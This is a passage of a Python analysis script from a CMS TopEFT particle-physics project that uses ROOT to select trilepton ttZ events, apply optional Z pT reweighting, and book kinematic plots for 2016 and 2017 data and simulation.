'DEBUG', 'TRACE', 'NOTSET'], help=\"Log level for logging\")\nargParser.add_argument('--signal', action='store', default=None, nargs='?', choices=[None, \"dipoleEllipsis\", 'currentEllipsis', 'C2VA0p2', 'cuW'], help=\"Add signal to plot\")\nargParser.add_argument('--onlyTTZ', action='store_true', default=False, help=\"Plot only ttZ\")\nargParser.add_argument('--noData', action='store_true', default=False, help='also plot data?')\nargParser.add_argument('--year', action='store', default=2016, choices = [2016, 2017], type=int, help='2016 or 2017?',)\nargParser.add_argument('--small', action='store_true', help='Run only on a small subset of the data?', )\nargParser.add_argument('--reweightPtZToSM', action='store_true', help='Reweight Pt(Z) to the SM for all the signals?', )\nargParser.add_argument('--plot_directory', action='store', default='TopEFT_PP_2017_v14')\nargParser.add_argument('--selection', action='store', default='lepSelTTZ-njet3p-btag1p-onZ')\nargs = argParser.parse_args()\n\n#\n# Logger\n#\nimport TopEFT.Tools.logger as logger\nimport RootTools.core.logger as logger_rt\nlogger = logger.get_logger( args.logLevel, logFile = None)\nlogger_rt = logger_rt.get_logger(args.logLevel, logFile = None)\n\nif args.year == 2017: \n args.signal = None\n args.onlyTTZ = False\n args.reweightPtZToSM = False\n\nif args.small: args.plot_directory += \"_small\"\nif args.year == 2017: args.plot_directory += \"_Run2017\"\nif args.noData: args.plot_directory += \"_noData\"\nif args.signal: args.plot_directory += \"_signal_\"+args.signal\nif args.onlyTTZ: args.plot_directory += \"_onlyTTZ\"\nif args.reweightPtZToSM: args.plot_directory += \"_reweightPtZToSM\"\n#\n# Make samples, will be searched for in the postProcessing directory\n#\n\nif args.year == 2017:\n postProcessing_directory = \"TopEFT_PP_2017_v14/dilep\"\n data_directory = \"/afs/hephy.at/data/dspitzbart02/cmgTuples\" \n from TopEFT.samples.cmgTuples_Data25ns_92X_Run2017_postProcessed import *\n from TopEFT.samples.cmgTuples_Summer17_92X_mAODv2_postProcessed import *\n #from TopEFT.samples.cmgTuples_ttZ0j_Summer16_mAODv2_postProcessed import *\n\n SingleElectron_data = SingleElectron_Run2017\n SingleMuon_data = SingleMuon_Run2017\n SingleEleMu_data = SingleEleMu_Run2017\n\nelse:\n postProcessing_directory = \"TopEFT_PP_v12/trilep/\"\n data_directory = \"/afs/hephy.at/data/rschoefbeck02/cmgTuples/\" \n from TopEFT.samples.cmgTuples_ttZ0j_Summer16_mAODv2_postProcessed import *\n postProcessing_directory = \"TopEFT_PP_v14/trilep/\"\n data_directory = \"/afs/hephy.at/data/rschoefbeck01/cmgTuples/\" \n from TopEFT.samples.cmgTuples_Summer16_mAODv2_postProcessed import *\n from TopEFT.samples.cmgTuples_Data25ns_80X_03Feb_postProcessed import *\n\n SingleElectron_data = SingleElectron_Run2016\n SingleMuon_data = SingleMuon_Run2016\n SingleEleMu_data = SingleEleMu_Run2016\n\nif args.signal is None:\n signals = []\nelif args.signal == \"C2VA0p2\":\n signals = [ttZ0j_ll, ttZ0j_ll_DC2A_0p200000_DC2V_0p200000]\n ttZ0j_ll.style = styles.lineStyle( ROOT.kBlack, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC2A_0p200000_DC2V_0p200000.style = styles.lineStyle( ROOT.kBlue, width=2, dotted=False )\n\nelif args.signal == \"currentEllipsis\":\n ttZ0j_ll.style = styles.lineStyle( ROOT.kBlack, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p500000_DC1V_0p500000.style = styles.lineStyle( ROOT.kRed, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p500000_DC1V_m1p000000.style = styles.lineStyle( ROOT.kBlue, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_1p000000.style = styles.lineStyle( ROOT.kGreen, width=2, dotted=False, dashed=False )\n\n signals = [ttZ0j_ll, ttZ0j_ll_DC1A_0p500000_DC1V_0p500000, ttZ0j_ll_DC1A_0p500000_DC1V_m1p000000, ttZ0j_ll_DC1A_1p000000]\nelif args.signal == \"dipoleEllipsis\":\n ttZ0j_ll.style = styles.lineStyle( ROOT.kBlack, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_0p176700_DC2V_0p176700.style = styles.lineStyle( ROOT.kRed, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_0p176700_DC2V_m0p176700.style = styles.lineStyle( ROOT.kGreen, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_0p250000.style = styles.lineStyle( ROOT.kBlue, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_m0p176700_DC2V_0p176700.style = styles.lineStyle( ROOT.kMagenta, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_m0p176700_DC2V_m0p176700.style = styles.lineStyle( ROOT.kCyan, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_m0p250000.style = styles.lineStyle( ROOT.kAzure, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2V_m0p250000.style = styles.lineStyle( ROOT.kGreen+2, width=2, dotted=False, dashed=False )\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2V_0p250000.style = styles.lineStyle( ROOT.kMagenta+2, width=2, dotted=False, dashed=False )\n signals = [\n ttZ0j_ll,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_0p176700_DC2V_0p176700,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_0p176700_DC2V_m0p176700,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_0p250000,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_m0p176700_DC2V_0p176700,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_m0p176700_DC2V_m0p176700,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2A_m0p250000,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2V_m0p250000,\n ttZ0j_ll_DC1A_0p600000_DC1V_m0p240000_DC2V_0p250000\n ]\nelif args.signal == 'cuW':\n\n ttZ0j_ll.style = styles.lineStyle( ROOT.kBlack, width=2, dotted=False, dashed=False )\n ttZ0j_ll_cuW_0p100000.style = styles.lineStyle( ROOT.kBlue, width=2, dotted=False, dashed=False )\n ttZ0j_ll_cuW_0p200000.style = styles.lineStyle( ROOT.kRed, width=2, dotted=False, dashed=False )\n ttZ0j_ll_cuW_0p300000.style = styles.lineStyle( ROOT.kGreen, width=2, dotted=False, dashed=False )\n ttZ0j_ll_cuW_m0p100000.style = styles.lineStyle( ROOT.kMagenta, width=2, dotted=False, dashed=False )\n ttZ0j_ll_cuW_m0p200000.style = styles.lineStyle( ROOT.kOrange, width=2, dotted=False, dashed=False )\n ttZ0j_ll_cuW_m0p300000.style = styles.lineStyle( ROOT.kAzure, width=2, dotted=False, dashed=False )\n\n signals = [ttZ0j_ll, ttZ0j_ll_cuW_0p100000, ttZ0j_ll_cuW_0p200000, ttZ0j_ll_cuW_0p300000, ttZ0j_ll_cuW_m0p100000, ttZ0j_ll_cuW_m0p200000, ttZ0j_ll_cuW_m0p300000]\n\n# define 3l selections\ndef getLeptonSelection( mode ):\n if mode==\"mumumu\": return \"nGoodMuons==3&&nGoodElectrons==0\"\n elif mode==\"mumue\": return \"nGoodMuons==2&&nGoodElectrons==1\"\n elif mode==\"muee\": return \"nGoodMuons==1&&nGoodElectrons==2\"\n elif mode==\"eee\": return \"nGoodMuons==0&&nGoodElectrons==3\"\n elif mode=='all': return \"nGoodMuons+nGoodElectrons==3\"\n\n# backgrounds / mc\nif args.onlyTTZ:\n mc = [ TTZtoLLNuNu ]\nelse:\n if args.year == 2017:\n mc = [ TT_pow, DY_LO ]#, nonprompt ]\n else:\n mc = [ TTZtoLLNuNu , TTX, WZ, TTW, TZQ, rare ]#, nonprompt ]\n\nfor sample in mc: sample.style = styles.fillStyle(sample.color)\n\n# reweighting \nif args. reweightPtZToSM:\n sel_string = \"&&\".join([getFilterCut(isData=False, year=args.year), getLeptonSelection('all'), cutInterpreter.cutString(args.selection)])\n TTZ_ptZ = TTZtoLLNuNu.get1DHistoFromDraw(\"Z_pt\", [20,0,1000], selectionString = sel_string, weightString=\"weight\")\n TTZ_ptZ.Scale(1./TTZ_ptZ.Integral())\n\n def get_reweight( var, histo ):\n\n def reweight(event, sample):\n i_bin = histo.FindBin(getattr( event, var ) )\n return histo.GetBinContent(i_bin)\n\n return reweight\n\n for signal in signals:\n logger.info( \"Computing PtZ reweighting for signal %s\", signal.name )\n signal_ptZ = signal.get1DHistoFromDraw(\"Z_pt\", [20,0,1000], selectionString = sel_string, weightString=\"weight\")\n signal_ptZ.Scale(1./signal_ptZ.Integral())\n\n signal.reweight_ptZ_histo = TTZ_ptZ.Clone()\n signal.reweight_ptZ_histo.Divide(signal_ptZ)\n\n signal.weight = get_reweight( \"Z_pt\", signal.reweight_ptZ_histo )\n\n# Read variables and sequences\n#\nread_variables = [\"weight/F\",\n \"jet[pt/F,eta/F,phi/F,btagCSV/F,id/I]\", \"njet/I\", 'nJetSelected/I',\n \"lep[pt/F,eta/F,phi/F,pdgId/I]\", \"nlep/I\",\n \"met_pt/F\", \"met_phi/F\", \"metSig/F\", \"ht/F\", \"nBTag/I\", \n \"Z_l1_index/I\", \"Z_l2_index/I\", \"nonZ_l1_index/I\", \"nonZ_l2_index/I\", \n \"Z_phi/F\", \"Z_eta/F\", \"Z_pt/F\", \"Z_mass/F\", \"Z_lldPhi/F\", \"Z_lldR/F\"\n ]\n\nsequence = []\n\ndef getDPhiZLep( event, sample ):\n event.dPhiZLep = deltaPhi(event.lep_phi[event.nonZ_l1_index], event.Z_phi)\nsequence.append( getDPhiZLep )\n\ndef getDRZLep( event, sample ):\n event.dRZLep = deltaR({'phi':event.lep_phi[event.nonZ_l1_index],'eta':event.lep_eta[event.nonZ_l1_index]},{'phi': event.Z_phi, 'eta':event.Z_eta})\nsequence.append( getDRZLep )\n\n\ndef getJets( event, sample ):\n jetVars = ['eta','pt','phi','btagCSV','id']\n event.jets = filter( lambda j:j['pt']>30 and j['id'], [getObjDict(event, 'jet_', jetVars, i) for i in range(int(getVarValue(event, 'njet')))] )\n\n b_jets = filter( lambda j: isAnalysisJet(j) and isBJet(j), event.jets )\n leading_bjet = b_jets[0] if len(b_jets)>0 else None\n if leading_bjet is not None:\n v_leading_bjet = ROOT.TLorentzVector()\n v_leading_bjet.SetPtEtaPhiM(leading_bjet['pt'],leading_bjet['eta'],leading_bjet['phi'],0.)\n\n untagged_jets = filter( lambda j: not isBJet(j), event.jets )\n event.leading_untagged_jet = untagged_jets[0] if len(untagged_jets)>0 else None\n if event.leading_untagged_jet is not None and leading_bjet is not None:\n v_leading_untagged_jet = ROOT.TLorentzVector()\n v_leading_untagged_jet.SetPtEtaPhiM(event.leading_untagged_jet['pt'],event.leading_untagged_jet['eta'],event.leading_untagged_jet['phi'],0.)\n event.m_leadingUntagged_bJet = (v_leading_bjet+v_leading_untagged_jet).M()\n else:\n event.m_leadingUntagged_bJet = float('nan') \n\n untagged_jets.sort(key = lambda j: -abs(j['eta'])) \n event.mostForward_untagged_jet = untagged_jets[0] if len(untagged_jets)>0 else None \n if event.mostForward_untagged_jet is not None and leading_bjet is not None:\n v_mostForward_untagged_jet = ROOT.TLorentzVector()\n v_mostForward_untagged_jet.SetPtEtaPhiM(event.mostForward_untagged_jet['pt'],event.mostForward_untagged_jet['eta'],event.mostForward_untagged_jet['phi'],0.)\n event.m_mostForwardUntagged_bJet = (v_leading_bjet+v_mostForward_untagged_jet).M() \n else:\n event.m_mostForwardUntagged_bJet = float('nan') \n\n event.jets = filter( isAnalysisJet, event.jets )\n\n #event.jets_sortbtag = event.jets\n #event.jets_sortbtag.sort( key = lambda l:-l['btagCSV'] )\n\nsequence.append( getJets )\n\ndef getDPhiZJet( event, sample ):\n event.dPhiZJet = deltaPhi(event.jets[0]['phi'], event.Z_phi) if len(event.jets)>0 and event.Z_mass>0 else float('nan')\n\nsequence.append( getDPhiZJet )\n\n#def getL( event, sample):\n#\n# # Lp generalization for Z's. Doesn't work, because Z couples to L and R\n# pxZ = event.Z_pt*cos(event.Z_phi)\n# pyZ = event.Z_pt*sin(event.Z_phi)\n# pxZl1 = event.lep_pt[event.Z_l1_index]*cos(event.lep_phi[event.Z_l1_index])\n# pyZl1 = event.lep_pt[event.Z_l1_index]*sin(event.lep_phi[event.Z_l1_index])\n#\n# event.LZp = (pxZ*pxZl1+pyZ*pyZl1)/event.Z_pt**2\n#\n# # 3D generalization of the above \n# if event.lep_pdgId[event.Z_l1_index]>0:\n# Z_lp_index, Z_lm_index = event.Z_l1_index, event.Z_l2_index\n# else:\n# Z_lm_index, Z_lp_index = event.Z_l1_index, event.Z_l2_index\n#\n# lp = ROOT.TVector3()\n# lp.SetPtEtaPhi(event.lep_pt[Z_lp_index], event.lep_eta[Z_lp_index], event.lep_phi[Z_lp_index])\n# lm = ROOT.TVector3()\n# lm.SetPtEtaPhi(event.lep_pt[Z_lm_index], event.lep_eta[Z_lm_index], event.lep_phi[Z_lm_index])\n# Z = lp+lm\n# event.LZp3D = lp*Z/(Z*Z)\n#\n# event.LZp = 1-event.lep_pt[Z_lp_index]/event.Z_pt*cos(event.lep_phi[Z_lp_index] - event.Z_phi)\n# event.LZm = 1-event.lep_pt[Z_lm_index]/event.Z_pt*cos(event.lep_phi[Z_lm_index] - event.Z_phi)\n#\n# # Lp for the W\n# pxNonZl1 = event.lep_pt[event.nonZ_l1_index]*cos(event.lep_phi[event.nonZ_l1_index])\n# pyNonZl1 = event.lep_pt[event.nonZ_l1_index]*sin(event.lep_phi[event.nonZ_l1_index])\n# pxW = event.met_pt*cos(event.met_phi) + pxNonZl1\n# pyW = event.met_pt*sin(event.met_phi) + pyNonZl1\n# event.Lp = (pxW*pxNonZl1 + pyW*pyNonZl1)/(pxW**2+pyW**2)\n#sequence.append( getL )\n#\n#mt = 172.5\n#def getTopCands( event, sample ):\n# \n# lepton = ROOT.TLorentzVector()\n# met = ROOT.TLorentzVector()\n# b1 = ROOT.TLorentzVector()\n# b2 = ROOT.TLorentzVector()\n# \n# lepton.SetPtEtaPhiM(event.lep_pt[event.nonZ_l1_index], event.lep_eta[event.nonZ_l1_index], event.lep_phi[event.nonZ_l1_index], 0)\n# met.SetPtEtaPhiM(event.met_pt, 0, event.met_phi, 0)\n# b1.SetPtEtaPhiM(event.jets_sortbtag[0]['pt'], event.jets_sortbtag[0]['eta'], event.jets_sortbtag[0]['phi'], 0. )\n# b2.SetPtEtaPhiM(event.jets_sortbtag[1]['pt'], event.jets_sortbtag[1]['eta'], event.jets_sortbtag[1]['phi'], 0. )\n#\n# W = lepton + met\n# top1 = W + b1\n# top2 = W + b2\n#\n# ## order top candidates in terms of mass closest to the top mass\n# if abs(top1.M()-mt) > abs(top2.M()-mt): top1, top2 = top2, top1\n# #if top1.Pt() < top2.Pt(): top1, top2 = top2, top1\n#\n# event.top1_mass = top1.M()\n# event.top1_pt = top1.Pt()\n# event.top1_phi = top1.Phi()\n#\n# event.top2_mass = top2.M()\n# event.top2_pt = top2.Pt()\n# event.top2_phi = top2.Phi()\n#\n# event.b1_pt = b1.Pt()\n# event.b1_phi = b1.Phi()\n# event.b2_pt = b2.Pt()\n# event.b2_phi = b2.Phi()\n#\n#sequence.append( getTopCands )\n\ndef get3rdLepKin( event, sample ):\n \n Zx, Zy = event.Z_pt*cos(event.Z_phi), event.Z_pt*sin(event.Z_phi)\n lx, ly = event.lep_pt[event.nonZ_l1_index]*cos(event.lep_phi[event.nonZ_l1_index]), event.lep_pt[event.nonZ_l1_index]*sin(event.lep_phi[event.nonZ_l1_index])\n \n event.pZl = (Zx*lx+Zy*ly)/event.lep_pt[event.nonZ_l1_index] \n event.plZ = (Zx*lx+Zy*ly)/event.Z_pt\n event.ptrel = (lx*Zy-ly*Zx)/event.Z_pt\n\nsequence.append( get3rdLepKin )\n\n#\n# Text on the plots\n#\ndef drawObjects( plotData, dataMCScale, lumi_scale ):\n tex = ROOT.TLatex()\n tex.SetNDC()\n tex.SetTextSize(0.04)\n tex.SetTextAlign(11) # align right\n lines = [\n (0.15, 0.95, 'CMS Preliminary' if plotData else 'CMS Simulation'), \n (0.45, 0.95, 'L=%3.1f fb{}^{-1} (13 TeV) Scale %3.2f'% ( lumi_scale, dataMCScale ) ) if plotData else (0.45, 0.95, 'L=%3.1f fb{}^{-1} (13 TeV)' % lumi_scale)\n ]\n return [tex.DrawLatex(*l) for l in lines] \n\ndef drawPlots(plots, mode, dataMCScale):\n for log in [False, True]:\n plot_directory_ = os.path.join(plot_directory, 'analysisPlots', args.plot_directory, mode + (\"_log\" if log else \"\"), args.selection)\n for plot in plots:\n if not max(l[0].GetMaximum() for l in plot.histos): continue # Empty plot\n if not args.noData: \n if mode == \"all\": plot.histos[1][0].legendText = \"Data\"\n if mode == \"SF\": plot.histos[1][0].legendText = \"Data (SF)\"\n\n plotting.draw(plot,\n\t plot_directory = plot_directory_,\n\t ratio = {'yRange':(0.1,1.9)} if not args.noData else None,\n\t logX = False, logY = log, sorting = True,\n\t yRange = (0.03, \"auto\") if log else (0.001, \"auto\"),\n\t scaling = {},\n\t legend = [ (0.15,0.9-0.03*sum(map(len, plot.histos)),0.9,0.9), 2],\n\t drawObjects = drawObjects( not args.noData, dataMCScale , lumi_scale ),\n copyIndexPHP = True\n )\n\n#\n# Loop over channels\n#\nyields = {}\nallPlots = {}\nallModes = ['mumumu','mumue','muee', 'eee']\nfor index, mode in enumerate(allModes):\n yields[mode] = {}\n if not args.noData:\n if mode == \"mumumu\":\n data_sample = SingleMuon_data\n data_sample.texName = \"data (3#mu)\"\n elif mode == \"eee\":\n data_sample = SingleElectron_data\n data_sample.texName = \"data (3e)\"\n else:\n data_sample = SingleEleMu_data\n if mode==\"mumue\": \n data_sample.texName = \"data (2#mu, 1e)\"\n if mode==\"muee\": \n data_sample.texName = \"data (1#mu, 2e)\"\n\n data_sample.setSelectionString([getFilterCut(isData=True, year=args.year), getLeptonSelection(mode)])\n data_sample.name = \"data\"\n data_sample.read_variables = [\"evt/I\",\"run/I\"]\n data_sample.style = styles.errorStyle(ROOT.kBlack)\n lumi_scale = data_sample.lumi/1000\n\n if args.noData: lumi_scale = 35.9\n weight_ = lambda event, sample: event.weight\n\n for sample in mc + signals:\n sample.scale = lumi_scale\n #sample.read_variables = ['reweightTopPt/F','reweightDilepTriggerBackup/F','reweightLeptonSF/F','reweightBTag_SF/F','reweightPU36fb/F', 'nTrueInt/F', 'reweightLeptonTrackingSF/F']\n #sample.weight = lambda event, sample: event.reweightTopPt*event.reweightBTag_SF*event.reweightLeptonSF*event.reweightDilepTriggerBackup*event.reweightPU36fb*event.reweightLeptonTrackingSF\n sample.setSelectionString([getFilterCut(isData=False, year=args.year), getLeptonSelection(mode)])\n\n if not args.noData:\n stack = Stack(mc, data_sample)\n else:\n stack = Stack(mc)\n\n stack.extend( [ [s] for s in signals ] )\n\n if args.small:\n for sample in stack.samples:\n sample.reduceFiles( to = 1 )\n\n # Use some defaults\n Plot.setDefaults(stack = stack, weight = weight_, selectionString = cutInterpreter.cutString(args.selection), addOverFlowBin='upper')\n\n plots = []\n \n plots.append(Plot(\n name = 'yield', texX = 'yield', texY = 'Number of Events',\n attribute = lambda event, sample: 0.5 + index,\n binning=[4, 0, 4],\n ))\n \n plots.append(Plot(\n name = 'nVtxs', texX = 'vertex multiplicity', texY = 'Number of Events',\n attribute = TreeVariable.fromString( \"nVert/I\" ),\n binning=[50,0,50],\n ))\n \n plots.append(Plot(\n texX = 'E_{T}^{miss} (GeV)', texY = 'Number of Events / 20 GeV',\n attribute = TreeVariable.fromString( \"met_pt/F\" ),\n binning=[400/20,0,400],\n ))\n \n plots.append(Plot(\n texX = '#phi(E_{T}^{miss})', texY = 'Number of Events / 20 GeV',\n attribute = TreeVariable.fromString( \"met_phi/F\" ),\n binning=[10,-pi,pi],\n ))\n \n plots.append(Plot(\n texX = 'p_{T}(Z) (GeV)', texY = 'Number of Events / 20 GeV',\n attribute = TreeVariable.fromString( \"Z_pt/F\" ),\n binning=[25,0,500],\n ))\n \n plots.append(Plot(\n name = 'Z_pt_coarse', texX = 'p_{T}(Z) (GeV)', texY = 'Number of Events / 40 GeV',\n attribute = TreeVariable.fromString( \"Z_pt/F\" ),\n binning=[20,0,800],\n ))\n \n plots.append(Plot(\n name = 'Z_pt_superCoarse', texX = 'p_{T}(Z) (GeV)', texY = 'Number of Events',\n attribute = TreeVariable.fromString( \"Z_pt/F\" ),\n binning=[3,0,800],\n ))\n\n plots.append(Plot(\n name = 'Z_pt_reweighting', texX = 'p_{T}(Z) (GeV)', texY = 'Number of Events',\n attribute = TreeVariable.fromString( \"Z_pt/F\" ),\n binning=[20,0,1000],\n ))\n\n plots.append(Plot(\n name = 'Z_eta', texX = '#eta(Z) ', texY = 'Number of Events',\n attribute = TreeVariable.fromString( \"Z_eta/F\" ),\n binning=[30,-3,3],\n ))\n \n plots.append(Plot(\n texX = '#Delta#phi(ll)', texY = 'Number of Events',\n attribute = TreeVariable.fromString( \"Z_lldPhi/F\" ),\n binning=[10,0,pi],\n ))\n\n plots.append(Plot(\n texX = '#DeltaR(ll)', texY = 'Number of Events',\n attribute = TreeVariable.fromString( \"Z_lldR/F\" ),\n binning=[10,0,4],\n ))\n\n plots.append(Plot(\n name = \"dPhiZL\",\n texX = '#Delta#phi(Z,l)', texY = 'Number of Events',\n attribute = lambda event, sample:event.dPhiZLep,\n binning=[10,0,pi],\n ))\n\n# plots.append(Plot(\n# name = \"LZp\",\n# texX = 'LZp', texY = 'Number of Events',\n# attribute = lambda event, sample: event.LZp,\n# binning=[15,0.5,2],\n# ))\n#\n# plots.append(Plot(\n# name = \"LZp3D\",\n# texX = 'LZp3D', texY = 'Number of Events',\n# attribute = lambda event, sample: event.LZp3D,\n# binning=[15,-0.5,2],\n# ))\n#\n# plots.append(Plot(\n# name = \"LZm\",\n# texX = 'LZm', texY = 'Number of Events',\n# attribute = lambda event, sample: event.LZm,\n# binning=[15,0.5,2],\n# ))\n#\n# plots.append(Plot(\n# name = \"LZp\",\n# texX = 'LZp', texY = 'Number of Events',\n# attribute = lambda event, sample: event.LZp,\n# binning=[15,0.5,2],\n# ))\n#\n# plots.append(Plot(\n# name = \"Lp\",\n# texX = 'Lp', texY = 'Number of Events',\n# attribute = lambda event, sample: event.Lp,\n# binning=[25,-0.5,2],\n# ))\n# plots.append(Plot(\n# name = \"Lp_plus\",\n# texX = 'Lp_{+}', texY = 'Number of Events',\n# attribute = lambda event, sample: event.Lp if event.lep_pdgId[event.nonZ_l1_index] > 0 else float('nan'),\n# binning=[25,-0.5,2],\n# ))\n# plots.append(Plot(\n# name = \"Lp_minus\",\n# texX = 'Lp_{-}', texY = 'Number of Events',\n# attribute = lambda event, sample: event.Lp if event.lep_pdgId[event.nonZ_l1_index] < 0 else float('nan'),\n# binning=[25,-0.5,2],\n# ))\n\n plots.append(Plot(\n name = \"pZl\",\n texX = '#vec{p}(Z) . #vec{n}(l)', texY = 'Number of Events',\n attribute = lambda event, sample:event.pZl,\n binning=[20,0,200],\n ))\n\n plots.append(Plot(\n name = \"plZ\",\n texX = '#vec{p}(l) . #vec{n}(Z)', texY = 'Number of Events',\n attribute = lambda event, sample:event.plZ,\n binning=[20,0,200],\n ))\n\n plots.append(Plot(\n name = \"ptrel\",\n texX = 'p_{T,l}(rel.)', texY = 'Number of Events',\n attribute = lambda event, sample:event.ptrel,\n binning=[20,0,200],\n ))\n\n plots.append(Plot(\n name = \"dRZL\",\n texX = '#Delta#R(Z,l)', texY = 'Number of Events',\n attribute = lambda event, sample:event.dRZLep,\n binning=[12,0,6],\n ))\n \n plots.append(Plot(\n name = \"dPhiZJet\",\n texX = '#Delta#phi(Z,j1)', texY = 'Number of Events',\n attribute = lambda event, sample:event.dPhiZJet,\n binning=[10,0,pi],\n ))\n\n #plots.append(Plot(\n # name = \"Z_lldEta\",\n # texX = '#Delta #eta(ll)', texY = 'Number of Events',\n # attribute = lambda event, sample: abs(event.lep_eta[event.Z_l1_index] - event.lep_eta[event.Z_l2_index]),\n # binning=[10,0,4],\n #))\n #\n #plots.append(Plot(\n # name = \"lZ1_pt\",\n # texX = 'p_{T}(l_{1,Z}) (GeV)', texY = 'Number of Events / 10 GeV',\n # attribute = lambda event, sample:event.lep_pt[event.Z_l1_index],\n # binning=[30,0,300],\n #))\n #\n #plots.append(Plot(\n # name = 'lZ1_pt_ext', texX = 'p_{T}(l_{1,Z}) (GeV)', texY = 'Number of Events / 20 GeV',\n # attribute = lambda event, sample:event.lep_pt[event.Z_l1_index],\n # binning=[20,40,440],\n #))\n #\n #plots.append(Plot(\n # name = \"lZ2_pt\",\n # texX = 'p_{T}(l_{2,Z}) (GeV)', texY = 'Number of Events / 10 GeV',\n # attribute = lambda event, sample:event.lep_pt[event.Z_l2_index],\n # binning=[30,0,300],\n #))\n #\n #plots.append(Plot(\n # name = 'lZ2_pt_ext', texX = 'p_{T}(l_{2,Z}) (GeV)', texY = 'Number of Events / 20 GeV',\n # attribute = lambda event, sample:event.lep_pt[event.Z_l2_index],\n # binning=[20,40,440],\n #))\n #\n #plots.append(Plot(\n # name = 'lnonZ1_pt',\n # texX = 'p_{T}(l_{1,extra}) (GeV)', texY = 'Number of Events / 10 GeV',\n # attribute = lambda event, sample:event.lep_pt[event.nonZ_l1_index],\n # binning=[30,0,300],\n #))\n\n #plots.append(Plot(\n # name = 'lnonZ1_pt_ext',\n # texX = 'p_{T}(l_{1,extra}) (GeV)', texY = 'Number of Events / 10 GeV',\n # attribute = lambda event, sample:event.lep_pt[event.nonZ_l1_index],\n # binning=[12,0,180],\n #))\n\n plots.append(Plot(\n name = \"l3_pt\",\n texX = 'p_{T}(l_{3}) (GeV)', texY = 'Number of Events / 5 GeV',\n attribute = lambda event, sample:event.lep_pt[2],\n binning=[20,0,100],\n ))\n \n plots.append(Plot(\n texX = 'M(ll) (GeV)', texY = 'Number of Events / 20 GeV',\n attribute = TreeVariable.fromString( \"Z_mass/F\" ),\n binning=[10,81,101],\n ))\n\n plots.append(Plot(\n name = \"Z_mass_wide\",\n texX = 'M(ll) (GeV)', texY = 'Number of Events / 2 GeV',\n attribute = TreeVariable.fromString( \"Z_mass/F\" ),\n binning=[50,20,120],\n ))\n \n plots.append(Plot(\n texX = 'N_{jets}', texY = 'Number of Events',\n attribute = TreeVariable.fromString( \"nJetSelected/I\" ),\n binning=[5,2.5,7.5],\n ))\n \n plots.append(Plot(\n texX = 'p_{T}(leading jet) (GeV)', texY = 'Number of Events / 30 GeV',\n name = 'jet1_pt', attribute = lambda event, sample: event.jets[0]['pt'] if len(event.jets)>0 else float('nan'),\n binning=[600/30,0,600],\n ))\n \n plots.append(Plot(\n texX = 'p_{T}(2nd leading jet) (GeV)', texY = 'Number of Events / 30 GeV',\n name = 'jet2_pt', attribute = lambda event, sample: event.jets[1]['pt'] if len(event.jets)>1 else float('nan'),\n binning=[600/30,0,600],\n ))\n\n plots.append(Plot(\n texX = 'p_{T}(leading non-b jet) (GeV)', texY = 'Number of Events / 30 GeV',\n name = 'jetLeadNonB_pt', attribute = lambda event, sample: event.leading_untagged_jet['pt'] if event.leading_untagged_jet is not None else float('nan'),\n binning=[600/30,0,600],\n ))\n\n plots.append(Plot(\n texX = '|#eta|(leading non-b jet)', texY = 'Number of Events / 30 GeV',\n name = 'jetLeadNonB_absEta', attribute = lambda event, sample: abs(event.leading_untagged_jet['eta']) if event.leading_untagged_jet is not None else float('nan'),\n binning=[26,0,5.2],\n ))\n\n plots.append(Plot(\n texX = 'M(l. non-b jet, l. b jet)', texY = 'Number of Events / 30 GeV',\n name = 'mLeadNonBLeadB', attribute = lambda event, sample: event.m_leadingUntagged_bJet,\n binning=[30,0,1000],\n ))\n\n plots.append(Plot(\n texX = 'p_{T}(leading non-b jet) (GeV)', texY = 'Number of Events / 30 GeV',\n name = 'jetMostFNonB_pt', attribute = lambda event, sample: event.mostForward_untagged_jet['pt'] if event.mostForward_untagged_jet is not None else float('nan'),\n binning=[600/30,0,600],\n ))\n\n plots.append(Plot(\n texX = '|#eta|(leading non-b jet)', texY = 'Number of Events / 30 GeV',\n name = 'jetMostFNonB_absEta', attribute = lambda event, sample: abs(event.mostForward_untagged_jet['eta']) if event.mostForward_untagged_jet is not None else float('nan'),\n binning=[26,0,5.2],\n ))\n\n plots.append(Plot(\n texX = 'M(most f. non-b jet, l. b jet)', texY = 'Number of Events / 30 GeV',\n name = 'mMostFNonBLeadB', attribute = lambda event, sample: event.m_mostForwardUntagged_bJet,\n binning=[30,0,1000],\n ))\n \n# plots.append(Plot(\n# texX = 'p_{T}(leading b-jet cand) (GeV)', texY = 'Number of Events / 20 GeV',\n# name = 'bjet1_pt', attribute = lambda event, sample: event.b1_pt,\n# binning=[20,0,400],\n# ))\n#\n# plots.append(Plot(\n# texX = 'p_{T}(2nd leading b-jet cand) (GeV)', texY = 'Number of Events / 20 GeV',\n# name = 'bjet2_pt', attribute = lambda event, sample: event.b2_pt,\n# binning=[20,0,400],\n# ))\n# \n# plots.append(Plot(\n# name = \"top_cand1_pt\", texX = 'p_{T}(t cand1) (GeV)', texY = 'Number of Events / 30 GeV',\n# attribute = lambda event, sample:event.top1_pt,\n# binning=[20,0,600],\n# ))\n#\n# plots.append(Plot(\n# name = \"top_cand1_pt_coarse\", texX = 'p_{T}(t cand1) (GeV)', texY = 'Number of Events / 200 